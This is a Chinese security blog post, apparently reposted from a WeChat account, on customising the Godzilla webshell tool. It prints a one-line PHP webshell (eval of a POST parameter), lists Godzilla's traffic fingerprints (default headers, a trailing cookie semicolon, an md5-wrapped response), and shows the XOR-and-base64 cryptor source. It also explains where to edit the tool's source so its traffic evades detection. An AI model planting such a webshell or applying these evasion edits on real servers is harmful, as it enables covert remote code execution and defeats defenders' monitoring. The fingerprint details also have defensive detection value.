魔改哥斯拉 02:webshell特征检测及修改

admin 2024年6月25日13:03:11评论106 views字数 2308阅读7分41秒阅读模式

 

哥斯拉流量特征分析

原版哥斯拉的生成流程

生成shell的设置为四个参数:魔改哥斯拉 02:webshell特征检测及修改添加(连接)shell的时候可以设置的参数分为基础配置和请求配置:魔改哥斯拉 02:webshell特征检测及修改基础配置(四个参数与生成shell设置相同):

•密码:Post请求中的参数名称,默认为pass•密钥:用于对请求数据进行加密,加密过程中并非直接使用密钥明文,而是计算密钥的MD5值,然后取其前16位用于加密。默认为key•有效载荷:ASP、java、php、c#•加密器:base64、raw、evalbase64

请求配置:

•自定义HTTP请求头•加密数据的前缀•加密数据的后缀

我们以上面的基础配置生成的php马来进行分析:

<?phpeval($_POST["pass"]);

代码含义为设置变量pass,pass的取值为http的post方式。web服务器对pass取值后,然后通过eval()函数执行pass里面的内容。比如说,将gslp.php的文件传入站点,以POST方式传入pass=phpinfo();则页面会显示phpinfo的信息。下面是执行whoami的数据包:魔改哥斯拉 02:webshell特征检测及修改可以看到返回的包中存在PHPSESSID(我这里已经不是第一次抓包了,所以现在能看到我cookie也带PHPSESSID) 更改了默认配置后的数据包:魔改哥斯拉 02:webshell特征检测及修改魔改哥斯拉 02:webshell特征检测及修改

流量特征修改

User-Agent/Accept/Accept-Language

默认设置的为:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

可以手动设置:魔改哥斯拉 02:webshell特征检测及修改直接去源码ShellSetting中修改默认值:魔改哥斯拉 02:webshell特征检测及修改

请求cookie末尾分号

魔改哥斯拉 02:webshell特征检测及修改增加条件判断,当以分号结尾时则进行删除,文件为util/http/HttpResponse魔改哥斯拉 02:webshell特征检测及修改

响应结构特征(下面以phpXor为例)

整个响应包的结构体征为:md5前十六位+base64+md5后十六位。这里以phpXor代码为例修改特征。目标文件在/godzilla.jar_src/shells/cryptions/phpXor文件夹:魔改哥斯拉 02:webshell特征检测及修改具体代码为:

public class PhpXor implements Cryption {    public void init(ShellEntity context) {        this.shell = context;        this.http = this.shell.getHttp();        this.key = this.shell.getSecretKeyX().getBytes();        this.pass = this.shell.getPassword();        String findStrMd5 = functions.md5(this.pass + new String(this.key));    // 校验字符串        this.findStrLeft = findStrMd5.substring(0, 16);                                                // 前16位MD5        this.findStrRight = findStrMd5.substring(16);                                                    // 后16位MD5    }

加密代码如下,加密方式为key进行按位异或->base64编码->url编码

  public byte[] encode(byte[] data) {      try {          return E(data);      } catch (Exception e) {          Log.error(e);          return null;      }  }// 通过key按位异或  public byte[] E(byte[] cs) {      int len = cs.length;      for (int i = 0; i < len; i++) {          cs[i] = (byte) (cs[i] ^ this.key[(i + 1) & 15]);      }      return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();  }

解密代码如下:

•调用findStr方法删除响应数据中的前后16位校验字符串•利用base64Decode方法解码字符串•使用key按位异或,实现数据解密

public byte[] decode(byte[] data) {    if (data == null || data.length <= 0) {        return data;    }    try {        return D(findStr(data));    } catch (Exception e) {        Log.error(e);        return null;    }}public byte[] D(String data) {    byte[] cs = functions.base64Decode(data);    int len = cs.length;    for (int i = 0; i < len; i++) {        cs[i] = (byte) (cs[i] ^ this.key[(i + 1) & 15]);    }    return cs;}public String findStr(byte[] respResult) {    return functions.subMiddleStr(new String(respResult), this.findStrLeft, this.findStrRight);}

魔改哥斯拉 02:webshell特征检测及修改魔改哥斯拉 02:webshell特征检测及修改魔改哥斯拉 02:webshell特征检测及修改魔改哥斯拉 02:webshell特征检测及修改我们后续可以从源码中对其校验方式进行修改。

 

原文始发于微信公众号(云鸦安全):魔改哥斯拉 02:webshell特征检测及修改

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月25日13:03:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   魔改哥斯拉 02:webshell特征检测及修改https://cn-sec.com/archives/2882363.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息